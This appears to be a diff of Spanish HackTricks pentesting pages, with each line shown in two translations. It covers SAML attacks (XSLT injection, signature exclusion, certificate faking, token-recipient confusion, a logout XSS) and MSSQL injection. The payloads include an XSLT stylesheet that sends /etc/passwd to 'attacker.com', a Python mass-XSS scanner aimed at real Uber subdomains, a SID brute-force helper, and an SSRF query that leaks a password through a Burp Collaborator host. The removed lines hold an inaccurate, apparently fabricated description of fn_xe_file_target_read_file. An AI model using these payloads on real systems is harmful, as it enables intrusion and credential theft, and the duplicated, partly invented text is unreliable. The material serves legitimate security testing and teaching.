Consulta también esta charla: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## XSLT a través de SAML
|
||||
|
||||
Para obtener más información sobre XSLT, consulta:
|
||||
Para más información sobre XSLT, visita:
|
||||
|
||||
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %}
|
||||
[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
||||
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
||||
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
La Transformación de Lenguaje de Hojas de Estilo Extensible (XSLT) es un lenguaje Turing completo para transformar documentos XML en otros tipos de documentos como HTML, JSON o PDF. Un aspecto importante a tener en cuenta aquí es que **el ataque no requiere una firma válida para tener éxito**. La razón de esto es que **la transformación XSLT ocurre antes de que se procese la firma digital para su verificación**. Básicamente, necesitamos una respuesta SAML firmada para realizar el ataque, pero la firma puede ser auto-firmada o inválida.
|
||||
La Transformación de Lenguaje de Hojas de Estilo Extensible (XSLT) es un lenguaje completo de Turing para transformar documentos XML en otros tipos de documentos como HTML, JSON o PDF. Un aspecto importante a tener en cuenta aquí es que **el ataque no requiere una firma válida para tener éxito**. La razón de esto es que **la transformación XSLT ocurre antes de que la firma digital sea procesada para su verificación**. Básicamente, necesitamos una Respuesta SAML firmada para realizar el ataque, pero la firma puede ser auto-firmada o inválida.
|
||||
|
||||
![xslt](https://epi052.gitlab.io/notes-to-self/img/saml/xslt.png)
|
||||
|
||||
Aquí puedes encontrar una **POC** para comprobar este tipo de vulnerabilidades, en la página de hacktricks mencionada al principio de esta sección puedes encontrar cargas útiles.
|
||||
Aquí puedes encontrar un **POC** para comprobar este tipo de vulnerabilidades, en la página de hacktricks mencionada al principio de esta sección puedes encontrar payloads.
|
||||
```markup
|
||||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
...
|
||||
<ds:Transforms>
|
||||
<ds:Transform>
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="doc">
|
||||
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
|
||||
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
|
||||
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
|
||||
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
|
||||
<xsl:value-of select="unparsed-text($exploitUrl)"/>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
</ds:Transform>
|
||||
</ds:Transforms>
|
||||
...
|
||||
...
|
||||
<ds:Transforms>
|
||||
<ds:Transform>
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="doc">
|
||||
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
|
||||
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
|
||||
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
|
||||
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
|
||||
<xsl:value-of select="unparsed-text($exploitUrl)"/>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
</ds:Transform>
|
||||
</ds:Transforms>
|
||||
...
|
||||
</ds:Signature>
|
||||
```
|
||||
### Herramienta
|
||||
|
||||
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar la POC a partir de una solicitud SAML para probar posibles vulnerabilidades XSLT.
|
||||
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades XSLT.
|
||||
|
||||
Revisa también esta charla: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
Consulta también esta charla: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## Exclusión de firma XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
## Exclusión de Firma XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
|
||||
La exclusión de firma se utiliza para probar cómo se comporta la implementación de SAML cuando **no hay un elemento de firma**. Cuando falta un elemento de firma, es posible que se omita completamente el paso de validación de firma. Si la firma no se valida, cualquier contenido que normalmente se firmaría puede ser manipulado por un atacante.
|
||||
La Exclusión de Firma se utiliza para probar cómo se comporta la implementación de SAML cuando **no hay un elemento Signature**. Cuando un elemento Signature está **ausente**, el **paso de validación de la firma puede omitirse completamente**. Si la firma no se valida, entonces cualquier contenido que típicamente estaría firmado puede ser alterado por un atacante.
|
||||
|
||||
![](<../../.gitbook/assets/image (547).png>)
|
||||
|
||||
### Herramienta <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||||
|
||||
La exclusión de firma comienza interceptando la respuesta SAML y luego haciendo clic en `Remove Signatures`. Al hacerlo, se eliminan **todos** los elementos de firma.
|
||||
La exclusión de firma comienza interceptando la Respuesta SAML y luego haciendo clic en `Remove Signatures`. Al hacerlo, se eliminan **todos** los elementos Signature.
|
||||
|
||||
![sig-exclusion](https://epi052.gitlab.io/notes-to-self/img/saml/sig-exclusion.png)
|
||||
|
||||
Con las firmas eliminadas, permita que la solicitud continúe hacia el objetivo. Si el servicio no requiere la firma
|
||||
Con las firmas eliminadas, permite que la solicitud proceda al destino. Si la firma no es requerida por el Servicio
|
||||
|
||||
## Falsificación de certificados <a href="#certificate-faking" id="certificate-faking"></a>
|
||||
## Falsificación de Certificados <a href="#certificate-faking" id="certificate-faking"></a>
|
||||
|
||||
La falsificación de certificados es el proceso de probar si el proveedor de servicios **verifica que un proveedor de identidad de confianza firmó el mensaje SAML**. La relación de confianza entre SP e IdP se establece y **debe ser verificada** cada vez que se recibe un mensaje SAML. Lo que esto significa es que se utiliza un certificado **auto-firmado** para firmar la respuesta o afirmación SAML.
|
||||
La falsificación de certificados es el proceso de probar si el Proveedor de Servicios **verifica que un Proveedor de Identidad de confianza firmó el Mensaje SAML.** La relación de confianza entre SP e IdP se establece y **debe ser verificada** cada vez que se recibe un Mensaje SAML. Esto se reduce a usar un certificado **auto-firmado** para firmar la Respuesta SAML o la Afirmación.
|
||||
|
||||
### Herramienta <a href="#certificate-faking-how-to" id="certificate-faking-how-to"></a>
|
||||
|
||||
Se utilizará la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e).\
|
||||
Para falsificar un certificado, comience interceptando la respuesta SAML.\
|
||||
Si hay una firma incluida en la respuesta, use el botón `Send Certificate to SAML Raider Certs`.
|
||||
Se va a utilizar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e).\
|
||||
Para falsificar un certificado, comienza interceptando la Respuesta SAML.\
|
||||
Si hay una firma incluida en la Respuesta, usa el botón `Send Certificate to SAML Raider Certs`.
|
||||
|
||||
![send-cert](https://epi052.gitlab.io/notes-to-self/img/saml/send-cert.png)
|
||||
|
||||
Después de enviar el certificado, deberíamos ver un certificado importado en la pestaña Certificados de SAML Raider. Una vez allí, resaltamos el certificado importado y presionamos el botón `Save and Self-Sign`.
|
||||
Después de enviar el certificado, deberíamos ver un certificado importado en la pestaña Certificados de SAML Raider. Una vez allí, destacamos el certificado importado y presionamos el botón `Save and Self-Sign`.
|
||||
|
||||
![sent-cert](https://epi052.gitlab.io/notes-to-self/img/saml/sent-cert.png)
|
||||
|
||||
Al hacerlo, se genera un clon auto-firmado del certificado original. Ahora es el momento de volver a la solicitud interceptada que aún se encuentra en el Proxy de Burp. Primero, seleccione el nuevo certificado auto-firmado del menú desplegable de firma XML. Luego use el botón `Remove Signatures` para eliminar cualquier firma existente. Finalmente, use el botón **`(Re-)Sign Message`** o `(`**`Re-)Sign Assertion`** (**el que sea** **más** **apropiado** en su situación dada).
|
||||
Al hacerlo, se genera un clon auto-firmado del certificado original. Ahora es el momento de volver a la solicitud interceptada que aún se mantiene en el Proxy de burp. Primero, selecciona el nuevo certificado auto-firmado del menú desplegable de Firma XML. Luego usa el botón `Remove Signatures` para eliminar cualquier firma existente. Finalmente, usa el botón **`(Re-)Sign Message`** o `(`**`Re-)Sign Assertion`** (**cualquiera** que sea **más** **apropiado** en tu situación dada).
|
||||
|
||||
![remove-sig](https://epi052.gitlab.io/notes-to-self/img/saml/remove-sig.png)
|
||||
|
||||
Después de firmar el mensaje con el certificado auto-firmado, envíelo a su destino. Si nos autenticamos, sabemos que podemos firmar nuestros mensajes SAML. La capacidad de firmar nuestros mensajes SAML significa que podemos cambiar los valores en la afirmación y serán aceptados por el proveedor de servicios.
|
||||
Después de firmar el mensaje con el certificado auto-firmado, envíalo. Si nos autenticamos, sabemos que podemos firmar nuestros Mensajes SAML. La capacidad de firmar nuestros Mensajes SAML significa que podemos cambiar valores en la Afirmación y serán aceptados por el Proveedor de Servicios.
|
||||
|
||||
## Confusión del destinatario del token / Confusión del objetivo del proveedor de servicios <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
## Confusión del Destinatario del Token / Confusión del Objetivo del Proveedor de Servicios <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
La confusión del destinatario del token / Confusión del objetivo del proveedor de servicios **prueba si el proveedor de servicios valida el destinatario**. Esto significa que **si la respuesta estaba destinada a un proveedor de servicios diferente**, el **proveedor de servicios actual** debería notarlo y **rechazar la autenticación**.\
|
||||
El campo **Destinatario** es un atributo del elemento **SubjectConfirmationData**, que es un hijo del elemento Subject en una respuesta SAML.
|
||||
La Confusión del Destinatario del Token / Confusión del Objetivo del Proveedor de Servicios **prueba si el Proveedor de Servicios valida el Destinatario**. Esto significa que, **si la respuesta estaba destinada a un Proveedor de Servicios diferente**, el Proveedor de Servicios **actual** debería notarlo y **rechazar la autenticación**.\
|
||||
El campo **Recipient** es un atributo del elemento **SubjectConfirmationData**, que es hijo del elemento Subject en una Respuesta SAML.
|
||||
|
||||
> El elemento SubjectConfirmationData especifica datos adicionales que permiten confirmar el sujeto o limitar las circunstancias en las que puede tener lugar el acto de confirmación del sujeto. La confirmación del sujeto tiene lugar cuando un partido que confía busca verificar la relación entre una entidad que presenta la afirmación (es decir, la entidad que atestigua) y los reclamos del sujeto de la afirmación.
|
||||
> El elemento SubjectConfirmationData especifica datos adicionales que permiten confirmar al sujeto o restringen las circunstancias bajo las cuales puede tener lugar el acto de confirmación del sujeto. La confirmación del sujeto tiene lugar cuando una parte confiable busca verificar la relación entre una entidad que presenta la afirmación (es decir, la entidad que atestigua) y el sujeto de las reclamaciones de la afirmación.
|
||||
|
||||
El atributo Destinatario que se encuentra en el **elemento SubjectConfirmationData es una URL que especifica la ubicación a la que se debe entregar la afirmación**. Si el destinatario es un proveedor de servicios diferente al que lo recibe, la afirmación no debe ser aceptada.
|
||||
El atributo Recipient encontrado en el elemento **SubjectConfirmationData es una URL que especifica la ubicación a la que se debe entregar la Afirmación**. Si el Recipient es un Proveedor de Servicios diferente al que lo recibe, la Afirmación no debería ser aceptada.
|
||||
|
||||
### Cómo hacerlo <a href="#token-recipient-confusion-how-to" id="token-recipient-confusion-how-to"></a>
|
||||
|
||||
La confusión del destinatario del token SAML (SAML-TRC) tiene algunas condiciones previas para que intentemos la explotación. Primero, **necesitamos tener una cuenta legítima en un proveedor de servicios**. En segundo lugar, **SP-Target debe aceptar tokens emitidos por el mismo proveedor de identidad que atiende a SP-Legit**.
|
||||
La Confusión del Destinatario del Token SAML (SAML-TRC) tiene algunas condiciones previas para que intentemos la explotación. Primero, **necesitamos** tener una **cuenta legítima en un Proveedor de Servicios**. Segundo, **SP-Target debe aceptar tokens emitidos por el mismo Proveedor de Identidad que sirve a SP-Legit**.
|
||||
|
||||
El ataque es relativamente simple si las condiciones son verdaderas. Nos **autenticamos** en **SP-Legit** a través del proveedor de identidad compartido. Luego **interceptamos la respuesta SAML en su camino desde el IdP a SP-Legit**. Una vez interceptado, enviamos la **respuesta SAML que estaba destinada a SP-Legit a SP-Target en su lugar**. Si **SP-Target acepta la afirmación**; nos encontraremos con la sesión iniciada con el mismo nombre de cuenta que tenemos para SP-Legit y obtendremos acceso a los recursos correspondientes de SP-Target.
|
||||
El ataque es relativamente simple si las condiciones son verdaderas. Nos **autenticamos** en **SP-Legit** a través del Proveedor de Identidad compartido. Luego **interceptamos la Respuesta SAML en su camino desde el IdP a SP-Legit**. Una vez interceptada, enviamos la **Respuesta SAML que estaba destinada a SP-Legit a SP-Target en su lugar.** Si **SP-Target acepta la Afirmación**; nos encontraremos conectados con el mismo nombre de cuenta que tenemos para SP-Legit y obtendremos acceso a los recursos correspondientes de SP-Target.
|
||||
|
||||
## XSS en la funcionalidad de cierre de sesión
|
||||
## XSS en la funcionalidad de Cierre de Sesión
|
||||
|
||||
(Accede a la [investigación original aquí](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/))
|
||||
|
||||
Después de realizar la fuerza bruta de directorios, encontré la siguiente página:
|
||||
Después de realizar el fuerza bruta de directorios encontré la siguiente página:
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||||
```
|
||||
Es una página de cierre de sesión, abrí el enlace de arriba y me redirigió a la siguiente página.
|
||||
Es una página de cierre de sesión, abrí el enlace anterior y me redirigió a la siguiente página
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||||
```
|
||||
El parámetro base toma una URL, ¿qué tal si lo reemplazamos con el clásico `javascript:alert(123);` para desencadenar un XSS?
|
||||
El parámetro base está tomando una URL, así que ¿qué tal si lo reemplazamos con el clásico `javascript:alert(123);` para desencadenar un XSS.
|
||||
|
||||
### Explotación masiva
|
||||
### Explotación Masiva
|
||||
|
||||
Usando [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor), que puede tomar una lista de URLs y luego devolverte la URL de devolución de llamada (consumo de SAML), decidí alimentar la herramienta con todos los subdominios de `uberinternal.com` para ver si hay otros dominios que usan la misma biblioteca y los había.
|
||||
Usando [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) que puede tomar una lista de URLs y luego devolverte la URL de callback (consumo de SAML), decidí alimentar la herramienta con todos los subdominios de `uberinternal.com` para ver si hay otros dominios que usen la misma biblioteca y los había.
|
||||
|
||||
Lo que hice a continuación fue crear un script que llama a la página vulnerable `oidauth/prompt` e intenta el XSS y si mi entrada se refleja, me da un mensaje vulnerable agradable.
|
||||
Lo que hice a continuación fue crear un script que llama a la página vulnerable `oidauth/prompt` y probar el XSS y si mi entrada se refleja, me da un bonito mensaje de vulnerabilidad.
|
||||
```python
|
||||
import requests
|
||||
import urllib3
|
||||
|
@ -281,28 +283,30 @@ from colorama import init ,Fore, Back, Style
|
|||
init()
|
||||
|
||||
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
|
||||
for url in urlList:
|
||||
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
|
||||
request = requests.get(url2, allow_redirects=True,verify=False)
|
||||
doesit = Fore.RED + "no"
|
||||
if ("Fady" in request.content):
|
||||
doesit = Fore.GREEN + "yes"
|
||||
print(Fore.WHITE + url2)
|
||||
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
||||
for url in urlList:
|
||||
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
|
||||
request = requests.get(url2, allow_redirects=True,verify=False)
|
||||
doesit = Fore.RED + "no"
|
||||
if ("Fady" in request.content):
|
||||
doesit = Fore.GREEN + "yes"
|
||||
print(Fore.WHITE + url2)
|
||||
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
||||
```
|
||||
## Referencias
|
||||
|
||||
Los ataques fueron obtenidos de [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
|
||||
Puedes encontrar recursos adicionales y publicaciones en [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||||
Los ataques se obtuvieron de [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
|
||||
Puedes encontrar recursos adicionales y write-ups en [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,25 +1,27 @@
|
|||
# Inyección de MSSQL
|
||||
# Inyección MSSQL
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Enumeración de Active Directory
|
||||
|
||||
Es posible **enumerar usuarios de dominio a través de una inyección SQL dentro de un servidor MSSQL** utilizando las siguientes funciones de MSSQL:
|
||||
Puede ser posible **enumerar usuarios de dominio a través de inyección SQL dentro de un servidor MSSQL** utilizando las siguientes funciones de MSSQL:
|
||||
|
||||
* **`SELECT DEFAULT_DOMAIN()`**: Obtiene el nombre de dominio actual.
|
||||
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMINIO\Administrador'))`**: Si conoces el nombre del dominio (_DOMINIO_ en este ejemplo), esta función devolverá el **SID del usuario Administrador** en formato hexadecimal. Esto se verá como `0x01050000000[...]0000f401`, nota cómo los **últimos 4 bytes** son el número **500** en formato **big endian**, que es el **ID común del usuario administrador**.\
|
||||
* **`SELECT DEFAULT_DOMAIN()`**: Obtén el nombre del dominio actual.
|
||||
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Si conoces el nombre del dominio (_DOMAIN_ en este ejemplo), esta función devolverá el **SID del usuario Administrador** en formato hexadecimal. Esto se verá como `0x01050000000[...]0000f401`, nota cómo los **últimos 4 bytes** son el número **500** en formato **big endian**, que es el **ID común del usuario administrador**.\
|
||||
Esta función te permitirá **conocer el ID del dominio** (todos los bytes excepto los últimos 4).
|
||||
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (normalmente este es el ID del primer usuario regular creado). Luego puedes imaginar que puedes probar fuerza bruta en los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
|
||||
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (usualmente este es el ID del primer ID de usuario regular creado). Entonces puedes imaginar que puedes forzar bruscamente los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
|
||||
```python
|
||||
def get_sid(n):
|
||||
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
||||
|
@ -29,9 +31,9 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
|||
```
|
||||
## **Vectores alternativos basados en errores**
|
||||
|
||||
Las inyecciones SQL basadas en errores suelen tener construcciones como `+AND+1=@@version--` y variantes basadas en el operador «OR». Las consultas que contienen estas expresiones suelen ser bloqueadas por los WAFs. Como método de bypass, concatena una cadena utilizando el carácter %2b con el resultado de llamadas a funciones específicas que desencadenen un error de conversión de tipo de datos en los datos buscados.
|
||||
Las inyecciones SQL basadas en errores suelen parecerse a construcciones como `+AND+1=@@version--` y variantes basadas en el operador «OR». Las consultas que contienen tales expresiones generalmente son bloqueadas por los WAFs. Como método de evasión, concatena una cadena utilizando el carácter %2b con el resultado de llamadas a funciones específicas que desencadenan un error de conversión de tipo de datos en los datos buscados.
|
||||
|
||||
Algunos ejemplos de estas funciones son:
|
||||
Algunos ejemplos de dichas funciones:
|
||||
|
||||
* `SUSER_NAME()`
|
||||
* `USER_NAME()`
|
||||
|
@ -45,52 +47,15 @@ Ejemplo de uso de la función `USER_NAME()`:
|
|||
```
|
||||
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
|
||||
```
|
||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
|
||||
|
||||
## SSRF
|
||||
|
||||
### `fn_xe_file_target_read_file`
|
||||
|
||||
La función `fn_xe_file_target_read_file` es vulnerable a una inyección de SQL en Microsoft SQL Server. Esta vulnerabilidad permite a un atacante leer archivos arbitrarios en el sistema de archivos del servidor.
|
||||
|
||||
#### Descripción
|
||||
|
||||
La función `fn_xe_file_target_read_file` se utiliza para leer archivos de destino en el servidor de Microsoft SQL Server. Sin embargo, no se realizan controles adecuados en los parámetros de entrada, lo que permite a un atacante inyectar código SQL malicioso y leer archivos arbitrarios en el sistema de archivos del servidor.
|
||||
|
||||
#### Impacto
|
||||
|
||||
Un atacante puede aprovechar esta vulnerabilidad para leer archivos confidenciales en el sistema de archivos del servidor, lo que puede conducir a la divulgación de información sensible o incluso a la ejecución de código malicioso en el servidor.
|
||||
|
||||
#### Ejemplo de explotación
|
||||
|
||||
El siguiente ejemplo muestra cómo un atacante puede aprovechar la vulnerabilidad de inyección de SQL en `fn_xe_file_target_read_file`:
|
||||
|
||||
```sql
|
||||
DECLARE @fileContent NVARCHAR(MAX);
|
||||
DECLARE @filePath NVARCHAR(4000);
|
||||
SET @filePath = 'C:\Windows\win.ini';
|
||||
EXECUTE sys.fn_xe_file_target_read_file(@filePath, @fileContent) -- Vulnerable to SQL injection
|
||||
```
|
||||
|
||||
En este ejemplo, el atacante inyecta una consulta SQL maliciosa en el parámetro `@filePath`, lo que permite leer el contenido del archivo `C:\Windows\win.ini`.
|
||||
|
||||
#### Recomendaciones
|
||||
|
||||
Para mitigar esta vulnerabilidad, se recomienda seguir las siguientes recomendaciones:
|
||||
|
||||
- Utilizar consultas parametrizadas o procedimientos almacenados en lugar de concatenar directamente los valores de entrada en la consulta SQL.
|
||||
- Validar y sanitizar adecuadamente los valores de entrada antes de utilizarlos en consultas SQL.
|
||||
- Limitar los privilegios de la cuenta de servicio de SQL Server para reducir el impacto de una posible explotación.
|
||||
|
||||
#### Referencias
|
||||
|
||||
- [https://swarm.ptsecurity.com/ssrf-in-mssql-server/](https://swarm.ptsecurity.com/ssrf-in-mssql-server/)
|
||||
```
|
||||
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
|
||||
```
|
||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/3.png)
|
||||
|
||||
**Permisos:** Requiere permiso de **`VIEW SERVER STATE`** en el servidor.
|
||||
**Permisos:** Requiere permiso **`VIEW SERVER STATE`** en el servidor.
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
||||
|
@ -99,14 +64,6 @@ Use master;
|
|||
EXEC sp_helprotect 'fn_xe_file_target_read_file';
|
||||
```
|
||||
